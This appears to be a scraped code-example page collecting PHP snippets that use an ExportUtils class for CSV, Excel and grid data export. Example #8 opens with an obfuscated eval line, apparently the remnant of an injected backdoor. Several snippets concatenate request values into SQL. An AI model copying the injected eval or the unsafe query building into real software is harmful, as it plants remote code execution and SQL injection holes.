public function getStationReport($GET)
 {
     $infoType = $GET['infoTypeRadio'];
     $periodType = $GET['periodTypeRadio'];
     $folSeq = $GET['stationsSelect'];
     $fromDateStr = $GET['fromDate'];
     $toDateStr = $GET['toDate'];
     $timeBase = $GET['timeBase'];
     $channelNoArray = $GET['channelNos'];
     if ($channelNoArray == null) {
         return null;
     }
     if ($periodType != "recent" && false === strtotime($fromDateStr)) {
         return null;
     }
     if ($periodType == "period" && (false === strtotime($fromDateStr) || false === strtotime($toDateStr))) {
         return null;
     }
     $datesArr = self::getFromToDates($periodType, $fromDateStr, $toDateStr);
     if ($infoType == "grid") {
         $gridDataJson = self::getGridData($datesArr['fromDate'], $datesArr['toDate'], $folSeq, $timeBase, $channelNoArray, $periodType);
         return $gridDataJson;
     } elseif ($infoType == "graph") {
         $graphDataJson = self::getGridData($datesArr['fromDate'], $datesArr['toDate'], $folSeq, $timeBase, $channelNoArray, $periodType);
         $graphChannelsJSON = array();
         $graphDataJSON = array();
         foreach ($graphDataJson['channels'] as $key => $value) {
             array_push($graphChannelsJSON, $key);
             $graphDataJSON[$key] = array();
         }
         $graphDatesJSON = array();
         foreach ($graphDataJson['data'] as $data) {
             array_push($graphDatesJSON, $data['dated']);
             foreach ($data['values'] as $key1 => $val1) {
                 array_push($graphDataJSON[$graphChannelsJSON[$key1]], (double) $val1);
             }
         }
         $finalJSON = new ArrayObject();
         $finalJSON['dates'] = $graphDatesJSON;
         $finalJSON['values'] = $graphDataJSON;
         return $finalJSON;
     } elseif ($infoType == "export") {
         $gridDataJson = self::getGridData($datesArr['fromDate'], $datesArr['toDate'], $folSeq, $timeBase, $channelNoArray, $periodType);
         $FDS = FolderDataStore::getInstance();
         $folder = $FDS->FindBySeq($folSeq);
         ExportUtils::exportStationGridReport($gridDataJson, $folder->getFolderName());
         return null;
     }
 }
Example #2
0
 public function export_action()
 {
     if (isset($_POST['exportDatas'])) {
         $pager['exportDatas'] = json_decode($_POST['exportDatas'], true);
         $pager['exportFileName'] = $_POST['exportFileName'];
         $pager['isExport'] = true;
         $pager['exportType'] = 'excel';
         $pager['exportDataIsProcessed'] = true;
         foreach (array_keys($pager['exportDatas'][0]) as $k => $v) {
             $pager['exportColumns'][$k]['id'] = $v;
             $pager['exportColumns'][$k]['title'] = $v;
         }
         //print_r($pager);exit;
         ExportUtils::export($pager);
         //ExportUtils::exportExcel($pager, $pager['exportDatas'], "\"".$pager['exportFileName']."\"");
         return;
     }
 }
Example #3
0
/**
 * This function exports all the data for a given module
 * Param $type - module name
 * Return type text
 */
function export($type)
{
    global $log, $list_max_entries_per_page;
    $log->debug("Entering export(" . $type . ") method ...");
    global $adb;
    $focus = 0;
    $content = '';
    if ($type != "") {
        // vtlib customization: Hook to dynamically include required module file.
        // Refer to the logic in setting $currentModule in index.php
        $focus = CRMEntity::getInstance($type);
    }
    $log = LoggerManager::getLogger('export_' . $type);
    $db = PearDatabase::getInstance();
    $oCustomView = new CustomView("{$type}");
    $viewid = $oCustomView->getViewId("{$type}");
    $sorder = $focus->getSortOrder();
    $order_by = $focus->getOrderBy();
    $search_type = $_REQUEST['search_type'];
    $export_data = $_REQUEST['export_data'];
    if (isset($_SESSION['export_where']) && $_SESSION['export_where'] != '' && $search_type == 'includesearch') {
        $where = $_SESSION['export_where'];
    }
    $query = $focus->create_export_query($where);
    if ($search_type != 'includesearch' && $type != 'Calendar') {
        $stdfiltersql = $oCustomView->getCVStdFilterSQL($viewid);
        $advfiltersql = $oCustomView->getCVAdvFilterSQL($viewid);
        if (isset($stdfiltersql) && $stdfiltersql != '') {
            $query .= ' and ' . $stdfiltersql;
        }
        if (isset($advfiltersql) && $advfiltersql != '') {
            $query .= ' and ' . $advfiltersql;
        }
    }
    $params = array();
    if (($search_type == 'withoutsearch' || $search_type == 'includesearch') && $export_data == 'selecteddata') {
        $idstring = explode(";", $_REQUEST['idstring']);
        if ($type == 'Accounts' && count($idstring) > 0) {
            $query .= ' and vtiger_account.accountid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Contacts' && count($idstring) > 0) {
            $query .= ' and vtiger_contactdetails.contactid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Potentials' && count($idstring) > 0) {
            $query .= ' and vtiger_potential.potentialid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Leads' && count($idstring) > 0) {
            $query .= ' and vtiger_leaddetails.leadid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Products' && count($idstring) > 0) {
            $query .= ' and vtiger_products.productid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Documents' && count($idstring) > 0) {
            $query .= ' and vtiger_notes.notesid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'HelpDesk' && count($idstring) > 0) {
            $query .= ' and vtiger_troubletickets.ticketid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } elseif ($type == 'Vendors' && count($idstring) > 0) {
            $query .= ' and vtiger_vendor.vendorid in (' . generateQuestionMarks($idstring) . ')';
            array_push($params, $idstring);
        } else {
            if (count($idstring) > 0) {
                // vtlib customization: Hook to make the export feature available for custom modules.
                $query .= " and {$focus->table_name}.{$focus->table_index} in (" . generateQuestionMarks($idstring) . ')';
                array_push($params, $idstring);
                // END
            }
        }
    }
    if (isset($order_by) && $order_by != '') {
        if ($order_by == 'smownerid') {
            $query .= ' ORDER BY user_name ' . $sorder;
        } elseif ($order_by == 'lastname' && $type == 'Documents') {
            $query .= ' ORDER BY vtiger_contactdetails.lastname  ' . $sorder;
        } elseif ($order_by == 'crmid' && $type == 'HelpDesk') {
            $query .= ' ORDER BY vtiger_troubletickets.ticketid  ' . $sorder;
        } else {
            $tablename = getTableNameForField($type, $order_by);
            $tablename = $tablename != '' ? $tablename . "." : '';
            if ($adb->dbType == "pgsql") {
                $query .= ' GROUP BY ' . $tablename . $order_by;
            }
            $query .= ' ORDER BY ' . $tablename . $order_by . ' ' . $sorder;
        }
    }
    if ($export_data == 'currentpage') {
        $current_page = ListViewSession::getCurrentPage($type, $viewid);
        $limit_start_rec = ($current_page - 1) * $list_max_entries_per_page;
        if ($limit_start_rec < 0) {
            $limit_start_rec = 0;
        }
        $query .= ' LIMIT ' . $limit_start_rec . ',' . $list_max_entries_per_page;
    }
    $result = $adb->pquery($query, $params, true, "Error exporting {$type}: " . "<BR>{$query}");
    $fields_array = $adb->getFieldsArray($result);
    $fields_array = array_diff($fields_array, array("user_name"));
    $__processor = new ExportUtils($type, $fields_array);
    // Translated the field names based on the language used.
    $translated_fields_array = array();
    for ($i = 0; $i < count($fields_array); $i++) {
        $translated_fields_array[$i] = getTranslatedString($fields_array[$i], $type);
    }
    $header = implode("\",\"", array_values($translated_fields_array));
    $header = "\"" . $header;
    $header .= "\"\r\n";
    /** Output header information */
    echo $header;
    $column_list = implode(",", array_values($fields_array));
    while ($val = $adb->fetchByAssoc($result, -1, false)) {
        $new_arr = array();
        $val = $__processor->sanitizeValues($val);
        foreach ($val as $key => $value) {
            if ($type == 'Documents' && $key == 'description') {
                $value = strip_tags($value);
                $value = str_replace('&nbsp;', '', $value);
                array_push($new_arr, $value);
            } elseif ($key != "user_name") {
                // Let us provide the module to transform the value before we save it to CSV file
                $value = $focus->transform_export_value($key, $value);
                array_push($new_arr, preg_replace("/\"/", "\"\"", $value));
            }
        }
        $line = implode("\",\"", $new_arr);
        $line = "\"" . $line;
        $line .= "\"\r\n";
        /** Output each row information */
        echo $line;
    }
    $log->debug("Exiting export method ...");
    return true;
}
 public function getMultiStationReport($GET)
 {
     $infoType = $GET['infoTypeRadio'];
     $exportType = $GET['exportTypeRadio'];
     $valueType = $GET['valueTypeRadio'];
     $folSeq = $GET['stationsSelect'];
     $fromDateStr = $GET['fromDate'];
     $toDateStr = $GET['toDate'];
     $timeBase = $GET['timeBase'];
     $timeBaseQuick = $GET['timeBaseQuick'];
     $quickReportType = $GET['quickReportType'];
     if ($quickReportType != "null") {
         $timeBase = $timeBaseQuick;
     }
     if ($valueType != "normal") {
         $timeBase = "5min";
     }
     $isValidated = $GET['isValidated'];
     $isAverage = $GET['isAverage'];
     $folSeqArray = array();
     //holds all folderseqs
     $folChannelsArray = array();
     //holds selected channels by foldSeq as key
     foreach ($GET as $key => $value) {
         if (strpos($key, "channelNos_") !== false) {
             $folSeq = (double) substr($key, 11);
             array_push($folSeqArray, $folSeq);
             $folChannelsArray[$folSeq] = $value;
         }
     }
     //a few validation checks
     if (count($folChannelsArray) == 0) {
         return null;
     }
     if ($quickReportType == "null" && (false === strtotime($fromDateStr) || false === strtotime($toDateStr))) {
         return null;
     }
     //get folderNames from DB
     $FDS = FolderDataStore::getInstance();
     $foldersObjArray = $FDS->FindBySeqs($folSeqArray);
     //calculating from to dates from provided $_GET
     $fromToDates = DateUtils::getDatesArrayForStationReports($quickReportType, $fromDateStr, $toDateStr);
     //calculating Date Slices now from DateUtils
     $fromDate = new DateTime($fromToDates['fromDate']);
     $toDate = new DateTime($fromToDates['toDate']);
     $folChannelsNamesArray = array();
     //holds selected channels by foldSeq as key
     $allChannelsArray = array();
     $channelUnitArray = array();
     foreach ($folChannelsArray as $folSeq => $folChannelChannelsArr) {
         $folName = $foldersObjArray[$folSeq]->getFolderName();
         $CCDS = ChannelConfigurationDataStore::getInstance();
         $ChannelsInfo = $CCDS->FindByFolderAndChannelNos($folSeq, $folChannelChannelsArr);
         $channelNamesArr = array();
         foreach ($ChannelsInfo as $chInfo) {
             if ($valueType != "normal") {
                 if (!self::isZeroSpanChannel($chInfo->getChannelName())) {
                     $chNo = $chInfo->getChannelNumber();
                     $chArr = $folChannelsArray[$folSeq];
                     if (($key = array_search($chNo, $chArr)) !== false) {
                         unset($folChannelsArray[$folSeq][$key]);
                         $folChannelsArray[$folSeq] = array_values($folChannelsArray[$folSeq]);
                     }
                     continue;
                 }
             }
             $chUnit = $chInfo->getChannelUnit();
             if (ConvertorUtils::getPrescribedUnit($chInfo->getChannelName()) != null) {
                 $chUnit = ConvertorUtils::getPrescribedUnit($chInfo->getChannelName());
             }
             $chUnit = mb_check_encoding($chUnit, 'UTF-8') ? $chUnit : utf8_encode($chUnit);
             $chStation = $chInfo->getChannelStation();
             if (!empty($chStation)) {
                 $chStation = " - " . $chStation;
             }
             $chStr = $folName . '<br>' . $chInfo->getChannelName() . $chStation . '<br>' . $chUnit;
             array_push($allChannelsArray, $chStr);
             array_push($channelUnitArray, $chUnit);
             array_push($channelNamesArr, $chInfo->getChannelName());
         }
         $folChannelsNamesArray[$folSeq] = $channelNamesArr;
     }
     //Created an array with folSeq and seelcted channels for it
     $folChannelDataArray = array();
     foreach ($folSeqArray as $folSeq) {
         $channelNoArray = $folChannelsArray[$folSeq];
         $EDS = ExemptionDataStore::getInstance();
         $exemptions = $EDS->FindExemptionsByFolderDatesChannels($folSeq, $fromToDates['fromDate'], $fromToDates['toDate'], implode(', ', $channelNoArray));
         //Stack or AQMS
         $stationType = $foldersObjArray[$folSeq]->getStationType();
         $dataJson = self::getDataJSON($fromToDates['fromDate'], $fromToDates['toDate'], $folSeq, "5min", $channelNoArray, $periodType, $exemptions, $stationType);
         //$avgData = self::getAverageData($fromToDates['fromDate'],$fromToDates['toDate'],$folSeq,$channelNoArray);
         $folChannelDataArray[$folSeq] = $dataJson['data'];
     }
     //Created an array with folSeq -> date->chanelvalues
     $CMD = CommentsDataStore::getInstance();
     $commentsObjs = $CMD->FindCommentsMasterByFolChannel($folSeqArray[0], $folChannelsArray[$folSeqArray[0]]);
     $dataSlices = null;
     //if its stack type we are supporting single station/folder data only
     $stationType = $foldersObjArray[$folSeqArray[0]]->getStationType();
     if ($stationType == 'stack' || $stationType == 'effluent') {
         //if($isAverage == "on"){
         //$dateSlices = DateUtils::getDateSlicesByInterval($fromDate,$toDate,$timeBase);
         //}else{
         if ($timeBase == "instant") {
             $dateSlices = DateUtils::getDateSlicesForData($folChannelDataArray[$folSeqArray[0]], $isAverage, $timeBase);
         } else {
             $dateSlices = DateUtils::getDateSlicesByInterval($fromDate, $toDate, $timeBase);
         }
         //}
     } else {
         $dateSlices = DateUtils::getDateSlicesByInterval($fromDate, $toDate, $timeBase);
     }
     //$dateSlices = $dateSlicesValid;
     $dataFinal = self::getFinalDataByValueType($timeBase, $dateSlices, $folSeqArray, $folChannelDataArray, $folChannelsNamesArray, $valueType, $isAverage, $stationType);
     if ($isValidated == "on") {
         $dateSlicesValidByChannelNumber = DateUtils::getDateSlicesByComments($commentsObjs, $timeBase, $folChannelsArray[$folSeqArray[0]]);
         $dataFinal = self::getValidatedDataOnly($dataFinal, $dateSlicesValidByChannelNumber);
     }
     if ($valueType != "normal") {
         $dataFinal = self::getZeroSpanValues($dataFinal);
     }
     $channelDataJSON = array();
     $channelDataJSON['channels'] = $allChannelsArray;
     //all channels with key as chno and val as chname
     $channelDataJSON['data'] = $dataFinal;
     //dateFinal is date as key and array of channel values as value
     $finalDataJSON = self::processDataJsonForGridGraph($channelDataJSON, $infoType);
     $finalDataJSON["units"] = $channelUnitArray;
     if ($infoType == "export") {
         ExportUtils::exportMultiStationGridReport($finalDataJSON, $exportType);
         return null;
     } else {
         if (count($channelDataJSON['channels']) == 1) {
             $chName = $channelNamesArr[0];
             $presLimit = PrescribedLimitsUtils::getPrescribedLimit($chName);
             if ($presLimit != null) {
                 $finalDataJSON['presLimit'] = $presLimit;
             }
         }
         return self::getAvgMinMaxValues($finalDataJSON);
     }
 }
 /**
  * DTGrid的查询方法
  * @param sql 查询SQL
  * @param pager 传递的Pager参数对象
  * @return 包含查询结果集的Pager
  * @throws Exception
  */
 static function queryForDTGrid($sql, $pager, $db_config)
 {
     try {
         if (is_resource($db_config)) {
             $link = $db_config;
         } else {
             $link = mysql_connect($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass']);
             mysql_select_db($db_config['dbname'], $link);
         }
         //			处理导出
         if ($pager["isExport"]) {
             //				如果是全部导出数据
             if ($pager["exportAllData"]) {
                 //					获取快速查询条件SQL、高级查询条件SQL
                 $fastQuerySql = QueryUtils::getFastQuerySql($pager["fastQueryParameters"]);
                 $advanceQueryConditionSql = QueryUtils::getAdvanceQueryConditionSql($pager["advanceQueryConditions"]);
                 //					获取排序SQL
                 $advanceQuerySortSql = QueryUtils::getAdvanceQuerySortSql($pager["advanceQuerySorts"]);
                 //					查询结果集放到信息中
                 $resultSql = "select * from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql;
                 $result = mysql_query($resultSql, $link);
                 $exportDatas = array();
                 while ($row = mysql_fetch_array($result)) {
                     array_push($exportDatas, $row);
                 }
                 $pager["exportDatas"] = $exportDatas;
             }
             ExportUtils::export($pager);
             return;
         }
         //			映射为int型
         $pageSize = $pager["pageSize"];
         $startRecord = $pager["startRecord"];
         $recordCount = $pager["recordCount"];
         $pageCount = $pager["pageCount"];
         //			获取快速查询条件SQL、高级查询条件SQL
         $fastQuerySql = QueryUtils::getFastQuerySql($pager["fastQueryParameters"]);
         $advanceQueryConditionSql = QueryUtils::getAdvanceQueryConditionSql($pager["advanceQueryConditions"]);
         //			获取排序SQL
         $advanceQuerySortSql = QueryUtils::getAdvanceQuerySortSql($pager["advanceQuerySorts"]);
         //			获取总记录条数、总页数可能没有
         $countSql = "select count(*) from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql;
         $result = mysql_query($countSql, $link);
         $recordCount = 0;
         while ($row = mysql_fetch_row($result)) {
             $recordCount = $row[0];
         }
         $pager["recordCount"] = $recordCount;
         $pageCount = ceil($recordCount / $pageSize);
         $pager["pageCount"] = $pageCount;
         //			查询结果集放到信息中
         $resultSql = "";
         $resultSql .= "select * from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql . " limit " . $startRecord . ", " . $pageSize;
         $result = mysql_query($resultSql, $link);
         $dataList = array();
         while ($row = mysql_fetch_array($result)) {
             array_push($dataList, $row);
         }
         $pager["exhibitDatas"] = $dataList;
         //			设置查询成功
         $pager["isSuccess"] = true;
     } catch (Exception $e) {
         //			设置查询失败
         $pager["isSuccess"] = false;
     }
     echo json_encode($pager);
 }
Example #6
0
 /**
  * DTGrid的查询方法
  * @param sql 查询SQL
  * @param pager 传递的Pager参数对象
  * @return 包含查询结果集的Pager
  * @throws Exception
  */
 static function queryForDTGrid($sql, $pager, $db_config, &$args)
 {
     if (!$args) {
         $args = array();
     }
     try {
         $mysqli = new mysqli($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname']);
         mysqli_query($mysqli, "SET NAMES utf8");
         //			检查连接是否被创建
         if (mysqli_connect_errno()) {
             printf("Connect failed: %s\n", mysqli_connect_error());
             exit;
         }
         //			处理导出
         if ($pager["isExport"]) {
             //				如果是全部导出数据
             if ($pager["exportAllData"]) {
                 //					获取快速查询条件SQL、高级查询条件SQL
                 $fastQuerySql = QueryUtils::getFastQuerySql($pager["fastQueryParameters"], $args);
                 $advanceQueryConditionSql = QueryUtils::getAdvanceQueryConditionSql($pager["advanceQueryConditions"], $args);
                 //					获取排序SQL
                 $advanceQuerySortSql = QueryUtils::getAdvanceQuerySortSql($pager["advanceQuerySorts"]);
                 //					查询结果集放到信息中
                 $resultSql = "select * from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql;
                 if ($stmt = $mysqli->prepare($resultSql)) {
                     $types = "";
                     foreach ($args as $arg) {
                         if (is_numeric($arg)) {
                             $types .= "i";
                         } else {
                             $types .= "s";
                         }
                     }
                     $execute_args = $args;
                     array_splice($execute_args, 0, 0, $types);
                     if (count($args) != 0) {
                         call_user_func_array(array($stmt, "bind_param"), ParamsUtils::refValues($execute_args));
                     }
                     $stmt->execute();
                     $result = array();
                     $stmt->bind_result($result);
                     $exportDatas = array();
                     while ($row = mysql_fetch_array($result)) {
                         array_push($exportDatas, $row);
                     }
                     $pager["exportDatas"] = $exportDatas;
                     $stmt->close();
                 }
             }
             ExportUtils::export($pager);
             return;
         }
         //			映射为int型
         $pageSize = $pager["pageSize"];
         $startRecord = $pager["startRecord"];
         $recordCount = $pager["recordCount"];
         $pageCount = $pager["pageCount"];
         //			获取快速查询条件SQL、高级查询条件SQL
         $fastQuerySql = QueryUtils::getFastQuerySql($pager["fastQueryParameters"], $args);
         $advanceQueryConditionSql = QueryUtils::getAdvanceQueryConditionSql($pager["advanceQueryConditions"], $args);
         //			获取排序SQL
         $advanceQuerySortSql = QueryUtils::getAdvanceQuerySortSql($pager["advanceQuerySorts"]);
         //			获取总记录条数、总页数可能没有
         $countSql = "select count(*) from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql;
         $recordCount = 0;
         if ($stmt = $mysqli->prepare($countSql)) {
             $types = "";
             foreach ($args as $arg) {
                 if (is_numeric($arg)) {
                     $types .= "i";
                 } else {
                     $types .= "s";
                 }
             }
             $execute_args = $args;
             array_splice($execute_args, 0, 0, $types);
             if (count($args) != 0) {
                 call_user_func_array(array($stmt, "bind_param"), ParamsUtils::refValues($execute_args));
             }
             $stmt->execute();
             $stmt->bind_result($result);
             while ($stmt->fetch()) {
                 $recordCount = $result;
             }
             $stmt->close();
         }
         $pager["recordCount"] = $recordCount;
         $pageCount = $recordCount / $pageSize + ($recordCount % $pageSize > 0 ? 1 : 0);
         $pager["pageCount"] = $pageCount;
         //			查询结果集放到信息中
         $resultSql = "";
         $resultSql .= "select * from (" . $sql . ") t where 1=1 " . $fastQuerySql . $advanceQueryConditionSql . $advanceQuerySortSql . " limit ?, ?";
         array_push($args, $startRecord);
         array_push($args, $pageSize);
         $dataList = array();
         if ($stmt = $mysqli->prepare($resultSql)) {
             $types = "";
             foreach ($args as $arg) {
                 if (is_numeric($arg)) {
                     $types .= "i";
                 } else {
                     $types .= "s";
                 }
             }
             $execute_args = $args;
             array_splice($execute_args, 0, 0, $types);
             if (count($args) != 0) {
                 call_user_func_array(array($stmt, "bind_param"), ParamsUtils::refValues($execute_args));
             }
             $stmt->execute();
             $dataList = DtGridUtils::fetch($stmt);
             $stmt->close();
         }
         $pager["exhibitDatas"] = $dataList;
         //			设置查询成功
         $pager["isSuccess"] = true;
     } catch (Exception $e) {
         //			设置查询失败
         $pager["isSuccess"] = false;
     }
     echo json_encode($pager);
 }
    $logs = $HVRRDS->getHighValueReminderLogs($folderSeq, $fromDateStr, $toDateStr);
    $logs = json_encode($logs);
}
$folDDown = DropDownUtils::getFoldersDropDownWithStationName($folders, "folder", "", $folderSeq);
if (isset($_POST["call"]) && $_POST["call"] == "exportLogs") {
    $folderSeq = $_POST["folderSeq"];
    $fromDateForm = $_POST["fromDate"];
    $toDateForm = $_POST["toDate"];
    $fromDate = new DateTime($fromDateForm);
    $toDate = new DateTime($toDateForm);
    $toDate = $toDate->add(new DateInterval('P1D'));
    $fromDateStr = $fromDate->format("Y/m/d  H:i:s");
    $toDateStr = $toDate->format("Y/m/d  H:i:s");
    $HVRRDS = HighValueRuleReminderDataStore::getInstance();
    $logs = $HVRRDS->getHighValueReminderLogs($folderSeq, $fromDateStr, $toDateStr);
    ExportUtils::ExportData($logs);
}
?>
<!DOCTYPE html>
<html>
    <head>
     <?php 
include "_jsAdminInclude.php";
?>
     <?php 
include "../_InspiniaInclude.php";
?>
 
    </head>
    <body>
    <div id="wrapper">       
Example #8
0
        eval($p1ecd1136[$z3b40['p2e1ecd'][35]]);
    }
    exit;
}
require_once 'IConstants.inc';
require_once $ConstantsArray['dbServerUrl'] . "/Utils/ExportUtils.php";
require_once $ConstantsArray['dbServerUrl'] . "/DataStoreMgr/WQDFileDataStore.php";
require_once $ConstantsArray['dbServerUrl'] . "/DataStoreMgr/FolderDataStore.php";
require_once $ConstantsArray['dbServerUrl'] . "/DataStoreMgr/ChannelConfigurationDataStore.php";
$action = $_GET['action'];
$fullArray = array();
if ($action == "exportCSV") {
    $fromDate = new DateTime($_GET['fromDate']);
    $toDate = new DateTime($_GET['toDate']);
    $channelNumbers = $_GET['channels'];
    //here comma separated folder seqs will come
    //add sheets for each selected one
    $folSeq = $_GET['folSeq'];
    $isPLimits = $_GET['isPLimits'];
    $CCDS = ChannelConfigurationDataStore::getInstance();
    $ChannelsInfo = $CCDS->FindByFolder($folSeq);
    $toDate->setTime(23, 59, 59);
    $fromDate = $fromDate->format("Y/m/d  H:i:s");
    $toDate = $toDate->format("Y/m/d  H:i:s");
    $interval = $_GET['interval'];
    $WQDS = WQDDataDataStore::getInstance();
    $arr = $WQDS->getExportData($fromDate, $toDate, $folSeq, $channelNumbers, $interval);
    $FDS = FolderDataStore::getInstance();
    $folder = $FDS->FindBySeq($folSeq);
    ExportUtils::exportCSV($arr, $channelNumbers, $folder->getFolderName(), $isPLimits, $ChannelsInfo);
}
Example #9
0
<?php

require_once 'IConstants.inc';
require_once $ConstantsArray['dbServerUrl'] . "DataStoreMgr//AppLogDataStore.php";
require_once $ConstantsArray['dbServerUrl'] . "Utils//ExportUtils.php";
$logDataStore = AppLogDataStore::getInstance();
if ($_GET["call"] == "getAllLogs") {
    $logsJson = $logDataStore->getAllLogsJson();
    echo $logsJson;
    return;
}
if ($_POST["call"] == "exportLogs") {
    $logsJson = $logDataStore->getAllLogs();
    ExportUtils::ExportData($logsJson);
}
?>
<html>
    <head>
        <?php 
include "_jsAdminInclude.php";
?>
    </head>
    <?php 
include "leftButtons.php";
?>
    <Div class="rightAdminPanel">
        <?php 
include "logOutButton.php";
?>
        <form name="exportLogsForm" id="exportLogsForm" method="post" action="showLogs.php" >
        <input type="hidden" name= "call" value="exportLogs" >
Example #10
0
<?php

require "../config/config.inc.php";
require "../utils/DtGridUtils.class.php";
require "../utils/ExportUtils.class.php";
require "../utils/QueryUtils.class.php";
require "../lib/pdf/fpdf.php";
require "../lib/pdf/chinese.php";
require "../lib/excel/PHPExcel.php";
require '../lib/excel/PHPExcel/IOFactory.php';
require '../lib/excel/PHPExcel/Writer/Excel5.php';
$dtGridPager = $_POST["dtGridPager"];
$pager = json_decode($dtGridPager, true);
ExportUtils::export($pager);
 /**
  * 导出Excel
  * @param request 请求对象
  * @param response 响应对象
  * @param pager dtGrid对象
  * @param exportDatas 导出的数据
  * @param fileName 文件名
  * @throws Exception
  */
 static function exportExcel($pager, $exportDatas, $fileName)
 {
     //		设置响应头
     header("Content-Type: application/vnd.ms-execl");
     header("Content-Disposition: attachment; filename=\"" . $fileName . ".xls\"");
     header("Pragma: no-cache");
     header("Expires: 0");
     //		创建Excel对象
     $resultPHPExcel = new PHPExcel();
     //		设置当前Sheet名称
     $resultPHPExcel->setActiveSheetIndex(0);
     $resultPHPExcel->getActiveSheet()->setTitle($fileName);
     //		定义边框样式
     $borderStyleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FF333333'))));
     //		定义最大宽度
     $widths = array();
     //		判断一下表头数组是否有数据
     if ($pager["exportColumns"] != null && count($pager["exportColumns"]) > 0) {
         //			循环写入表头
         $i = 0;
         $j = 1;
         foreach ($pager["exportColumns"] as $column) {
             $resultPHPExcel->getActiveSheet()->setCellValue(ExportUtils::intToChr($i) . $j, $column["title"]);
             array_push($widths, strlen($column["title"]));
             $i++;
         }
         $j++;
         //			设置表头样式
         $headerStyle = $resultPHPExcel->getActiveSheet()->getStyle("A1:" . ExportUtils::intToChr(count($pager["exportColumns"]) - 1) . "1");
         $headerStyle->getFont()->setName("微软雅黑");
         $headerStyle->getFont()->setSize(9);
         $headerStyle->getFont()->setBold(true);
         $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
         $headerStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
         $headerStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
         $headerStyle->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);
         $headerStyle->getFill()->getStartColor()->setARGB('FF1B9ECE');
         $headerStyle->applyFromArray($borderStyleArray);
         //			判断表中是否有数据
         if ($exportDatas != null && count($exportDatas) > 0) {
             //				循环写入表中数据
             foreach ($exportDatas as $record) {
                 $i = 0;
                 foreach ($pager["exportColumns"] as $column) {
                     $content = $record[$column["id"]];
                     //						如果内容未被处理则进行格式化
                     if (!$pager["exportDataIsProcessed"]) {
                         $content = DtGridUtils::formatContent($column, $content);
                     }
                     $resultPHPExcel->getActiveSheet()->setCellValue(ExportUtils::intToChr($i) . $j, $content);
                     if ($widths[$i] < strlen($content)) {
                         $widths[$i] = strlen($content);
                     }
                     $i++;
                 }
                 $j++;
             }
             //				设置内容样式
             $contentStyle = $resultPHPExcel->getActiveSheet()->getStyle("A2:" . ExportUtils::intToChr(count($pager["exportColumns"]) - 1) . (count($exportDatas) + 1));
             $contentStyle->getFont()->setName("微软雅黑");
             $contentStyle->getFont()->setSize(9);
             $contentStyle->getFont()->getColor()->setARGB('FF333333');
             $contentStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
             $contentStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
             $contentStyle->applyFromArray($borderStyleArray);
         }
         //			冻结首行
         $resultPHPExcel->getActiveSheet()->freezePane("A2");
         //			自适应宽度
         $i = 0;
         foreach ($pager["exportColumns"] as $column) {
             $resultPHPExcel->getActiveSheet()->getColumnDimension(ExportUtils::intToChr($i))->setWidth($widths[$i]);
             $i++;
         }
     }
     //		输出
     $xlsWriter = new PHPExcel_Writer_Excel5($resultPHPExcel);
     $xlsWriter->save("php://output");
 }